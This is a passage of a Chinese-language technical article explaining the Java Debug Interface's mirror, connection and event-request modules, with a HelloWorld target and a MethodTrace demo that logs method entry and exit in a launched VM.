40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><svg viewBox="0 0 16 16" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>模块划分</h3><p dir="auto" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">      通过上面的描述，我们可以将jdi分成3部分：数据模块、连接模块、事件处理模块。</p><h4 tabindex="-1" dir="auto" style="box-sizing: border-box;margin-top: 24px;margin-bottom: 16px;font-size: 16px;font-weight: var(--base-text-weight-semibold, 600);line-height: 1.25;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><svg viewBox="0 0 16 16" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>1 数据模块</h4><p dir="auto" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">      jdi的数据模块，主要就是Mirror机制。Mirror 接口是JDI最底层的接口，JDI中几乎所有其他接口都继承于它。Mirror 机制是将目标虚拟机上的所有数据、类型、域、方法、事件、状态和资源，以及调试器发向目标虚拟机的事件请求等都映射成 Mirror 对象。</p><blockquote style="box-sizing: border-box;margin: 0px 0px 16px;padding: 0px 1em;color: var(--fgColor-muted, var(--color-fg-muted));border-left: .25em solid var(--borderColor-default, var(--color-border-default));font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><p dir="auto" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 0px;">例如，在目标虚拟机上，已装载的类被映射成 ReferenceType 镜像，对象实例被映射成 ObjectReference 镜像，基本类型的值（如 float 等）被映射成 PrimitiveValue（如 FloatValue 等）。被调试的目标程序的运行状态信息被映射到 StackFrame 镜像中，在调试过程中所触发的事件被映射成 Event 镜像（如 StepEvent 等），调试器发出的事件请求被映射成 EventRequest 镜像（如 StepRequest 等），被调试的目标虚拟机则被映射成 VirtualMachine 镜像。但是，JDI 并不保证目标虚拟机上的每份信息和资源都只有唯一的镜像与之对应，这是由 JDI 的具体实现所决定的。例如，目标虚拟机上的某个事件有可能存在多个 Event 镜像与之对应，例如 BreakpointEvent 等。      Mirror 实例或是由调试器创建，或是由目标虚拟机创建，调用 Mirror 实例 virtualMachine() 可以获取其虚拟机信息。该接口提供了一套方法，可以用来直接或间接地获取目标虚拟机上所有的数据和状态信息，也可以挂起、恢复、终止目标虚拟机。</p></blockquote><h4 tabindex="-1" dir="auto" style="box-sizing: border-box;margin-top: 24px;margin-bottom: 16px;font-size: 16px;font-weight: var(--base-text-weight-semibold, 600);line-height: 1.25;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><svg viewBox="0 0 16 16" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>2 连接模块</h4><p dir="auto" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">      连接是调试器与目标虚拟机之间交互的渠道，一次连接可以由调试器发起，也可以由被调试的目标虚拟机发起。一个调试器可以连接多个目标虚拟机，但一个目标虚拟机最多只能连接一个调试器。下面的例子中就讲了一种常见的连接方式：由调试器启动目标虚拟机的连接方式。也可以在虚拟机处于运行状态时，采用attach的方式连接到目标虚拟机（我们平时用的Intellij 用的就是这种方式）。</p><h4 tabindex="-1" dir="auto" style="box-sizing: border-box;margin-top: 24px;margin-bottom: 16px;font-size: 16px;font-weight: var(--base-text-weight-semibold, 600);line-height: 1.25;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><svg viewBox="0 0 16 16" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>3 事件处理模块</h4><p dir="auto" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">      主要在com.sun.jdi.event 和 com.sun.jdi.request 包中。</p><ul dir="auto" style="box-sizing: border-box;padding-left: 2em;margin-top: 0px;margin-bottom: 16px;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p>事件集是事件发送的最小单位，并且事件集一旦被创建，则不可以被修改。</p></li><li style="box-sizing: border-box;margin-top: 0.25em;"><p>事件请求：Event接口定义了request方法，该方法会返回由调试器Debugger发出的针对该事件的事件请求（EventRequest）。事件请求是由调试器向目标虚拟机发出的，目的是请求目标虚拟机在发生指定的事件后通知调试器。只有当调试器发出的请求与目标虚拟机上发生的事件匹配时，这些事件才会被分发到各个事件集，进而等待发送至调试器端。</p></li></ul><p dir="auto" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">      当然了，Debugger发送给Target VM的所有事件请求，不一定Target VM 都感兴趣。因此JDI提供了事件的过滤机制，来删选出最终真正要发送给Target VM的事件。</p><ul dir="auto" style="box-sizing: border-box;padding-left: 2em;margin-top: 0px;margin-bottom: 16px;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p>对事件请求的管理：在JDI中，事件请求的管理是通过EventRequestManager来完成的。它有许多createXXXRequest方法来创建不同类型的事件请求，也有许多deleteXXXRequest方法来删除不同类型的事件请求，还有xxxRequests方法来列出各种类型的事件请求。有一点需要注意的是，这里由EventRequestManager创建的createXXXRequest的事件都是非激活的，因此这些事件请求当发送给Target VM不会起任何作用，除非调用EventRequest的setEnable(true)使得该事件进入激活状态。</p></li><li style="box-sizing: border-box;margin-top: 0.25em;"><p>事件队列：事件队列(EventQueue)的拥有者是目标虚拟机，EventQueue 将这些事件集以“先进先出”策略依次地发送到调试器端。EventQueue 负责管理来自目标虚拟机的事件，一个被调试的目标虚拟机上有且仅有一个 EventQueue实例。</p></li><li style="box-sizing: border-box;margin-top: 0.25em;"><p>Debugger 跟 targetVM之间的事件交互：</p></li></ul><blockquote style="box-sizing: border-box;margin: 0px 0px 16px;padding: 0px 1em;color: var(--fgColor-muted, var(--color-fg-muted));border-left: .25em solid var(--borderColor-default, var(--color-border-default));font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><p dir="auto" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 0px;">Debugger调用Target VM的 eventQueue() 和 eventRequestManager() 分别获取唯一的 EventQueue 实例和 EventRequestManager 实例. Debugger通过 EventRequestManager 的 createXXXRequest() 创建需要的事件请求，并添加过滤器和设置挂起策略. targetVM 上某个事件触发且匹配上eventRequest ， 则将event放入对应的eventSet. targetVM 上的EventQueue 管理这些eventSet, 按照FIFO原则发送给Debugger. Debugger通过第一步获取到的EventQueue实例 获取来自Target VM的事件响应。</p></blockquote><p dir="auto" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: var(--base-text-weight-semibold, 600);">一句话概括就是 EventRequest总是由Debugger发向Target VM ，而当请求与目标虚拟机上发生事件匹配，则事件会被归到EventSet中，EventSet会被Target VM的EventQueue所管理，并且按照FIFO原则发送到Debugger</strong></p><h3 tabindex="-1" dir="auto" style="box-sizing: border-box;margin-top: 24px;margin-bottom: 16px;font-size: 1.25em;font-weight: var(--base-text-weight-semibold, 600);line-height: 1.25;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><svg viewBox="0 0 16 16" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>Demo</h3><p dir="auto" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">被测试类</p><pre lang="plain" style="box-sizing: border-box;font-family: ui-monospace, SFMono-Regular, &#34;SF Mono&#34;, Menlo, Consolas, &#34;Liberation Mono&#34;, monospace;font-size: 13.6px;margin-top: 0px;margin-bottom: 0px;overflow-wrap: normal;padding: 16px;overflow: auto;line-height: 1.45;color: var(--fgColor-default, var(--color-fg-default));background-color: var(--bgColor-muted, var(--color-canvas-subtle));border-radius: 6px;"><code style="white-space: pre-wrap;box-sizing: border-box;font-family: ui-monospace, SFMono-Regular, &#34;SF Mono&#34;, Menlo, Consolas, &#34;Liberation Mono&#34;, monospace;font-size: 13.6px;padding: 0px;margin: 0px;background: transparent;border-radius: 6px;word-break: normal;border-width: 0px;border-style: none;border-color: currentcolor;display: inline;overflow: visible;line-height: inherit;overflow-wrap: normal;">public class HelloWorld {<br/>    public static void main(String[] args) {<br/>        String str = &#34;Hello world!&#34;;<br/>        System.out.println(str);<br/>    }<br/>}<br/></code></pre><p><svg aria-hidden="true" height="16" viewBox="0 0 16 16" width="16" data-view-component="true"><path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg></p><p dir="auto" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">测试类</p><pre lang="plain" style="box-sizing: border-box;font-family: ui-monospace, SFMono-Regular, &#34;SF Mono&#34;, Menlo, Consolas, &#34;Liberation Mono&#34;, monospace;font-size: 13.6px;margin-top: 0px;margin-bottom: 0px;overflow-wrap: normal;padding: 16px;overflow: auto;line-height: 1.45;color: var(--fgColor-default, var(--color-fg-default));background-color: var(--bgColor-muted, var(--color-canvas-subtle));border-radius: 6px;"><code style="white-space: pre-wrap;box-sizing: border-box;font-family: ui-monospace, SFMono-Regular, &#34;SF Mono&#34;, Menlo, Consolas, &#34;Liberation Mono&#34;, monospace;font-size: 13.6px;padding: 0px;margin: 0px;background: transparent;border-radius: 6px;word-break: normal;border-width: 0px;border-style: none;border-color: currentcolor;display: inline;overflow: visible;line-height: inherit;overflow-wrap: normal;">import java.util.List;<br/>import java.util.Map;<br/>import com.sun.jdi.*;<br/>import com.sun.jdi.connect.*;<br/>import com.sun.jdi.event.*;<br/>import com.sun.jdi.request.*;<br/>/**<br/> * Created by zhangpeng48 on 2018/7/16.<br/> */<br/>public class MethodTrace {<br/>    private static VirtualMachine vm;<br/>    private static Process process;<br/>    private static EventRequestManager eventRequestManager;<br/>    private static EventQueue eventQueue;<br/>    private static EventSet eventSet;<br/>    private static boolean vmExit = false;<br/>    //write your own testclass<br/>    private static String className = &#34;HelloWorld&#34;;<br/>    public static void main(String[] args) throws Exception {<br/>        System.out.println(&#34;begin....&#34;);<br/>        launchDebugee();<br/>        registerEvent();<br/>        processDebuggeeVM();<br/>        // Enter event loop<br/>        eventLoop();<br/>        destroyDebuggeeVM();<br/>    }<br/>    public static void launchDebugee() {<br/>        LaunchingConnector launchingConnector = Bootstrap<br/>                .virtualMachineManager().defaultConnector();<br/>        // Get arguments of the launching connector<br/>        Map&lt;String, Connector.Argument&gt; defaultArguments = launchingConnector<br/>                .defaultArguments();<br/>        Connector.Argument mainArg = defaultArguments.get(&#34;main&#34;);<br/>        Connector.Argument suspendArg = defaultArguments.get(&#34;suspend&#34;);<br/>        // Set class of main method<br/>        mainArg.setValue(className);<br/>        suspendArg.setValue(&#34;true&#34;);<br/>        try {<br/>            vm = launchingConnector.launch(defaultArguments);<br/>        } catch (Exception e) {<br/>            // ignore<br/>        }<br/>    }<br/>    public static void processDebuggeeVM() {<br/>        process = vm.process();<br/>    }<br/>    public static void destroyDebuggeeVM() {<br/>        process.destroy();<br/>    }<br/>    public static void registerEvent() {<br/>        // Register ClassPrepareRequest<br/>        eventRequestManager = vm.eventRequestManager();<br/>        MethodEntryRequest entryReq = eventRequestManager.createMethodEntryRequest();<br/>        entryReq.setSuspendPolicy(EventRequest.SUSPEND_EVENT_THREAD);<br/>        entryReq.addClassFilter(className);<br/>        entryReq.enable();<br/>        MethodExitRequest exitReq = eventRequestManager.createMethodExitRequest();<br/>        exitReq.addClassFilter(className);<br/>        exitReq.setSuspendPolicy(EventRequest.SUSPEND_EVENT_THREAD);<br/>        exitReq.enable();<br/>    }<br/>    private static void eventLoop() throws Exception {<br/>        eventQueue = vm.eventQueue();<br/>        while (true) {<br/>            Thread.sleep(10000);<br/>            if (vmExit == true) {<br/>                System.out.println(&#34;vmexit&#34;);<br/>                break;<br/>            }<br/>            eventSet = eventQueue.remove();<br/>            EventIterator eventIterator = eventSet.eventIterator();<br/>            while (eventIterator.hasNext()) {<br/>                Event event = (Event) eventIterator.next();<br/>                execute(event);<br/>                if (!vmExit) {<br/>                    eventSet.resume();<br/>                }<br/>            }<br/>        }<br/>    }<br/>    private static void execute(Event event) throws Exception {<br/>        if (event instanceof VMStartEvent) {<br/>            System.out.println(&#34;VM started&#34;);<br/>        } else if (event instanceof MethodEntryEvent) {<br/>            Method method = ((MethodEntryEvent) event).method();<br/>            System.out.printf(&#34;Enter -&gt; Method: %s, Signature:%s\n&#34;,method.name(),method.signature());<br/>            System.out.printf(&#34;\t ReturnType:%s\n&#34;, method.returnTypeName());<br/>        } else if (event instanceof MethodExitEvent) {<br/>            Method method = ((MethodExitEvent) event).method();<br/>            System.out.printf(&#34;Exit -&gt; method: %s\n&#34;,method.name());<br/>        } else if (event instanceof VMDisconnectEvent) {<br/>            vmExit = true;<br/>        }<br/>    }<br/>}<br/></code></pre><p><svg aria-hidden="true" height="16" viewBox="0 0 16 16" width="16" data-view-component="true"><path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg></p><h2 tabindex="-1" dir="auto" style="box-sizing: border-box;margin-top: 24px;margin-bottom: 16px;font-size: 1.5em;font-weight: var(--base-text-weight-semibold, 600);line-height: 1.25;padding-bottom: 0.3em;border-bottom: 1px solid var(--borderColor-muted, var(--color-border-muted));color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><svg viewBox="0 0 16 16" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>Router4 核心功能代码分析</h2><p dir="auto" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: 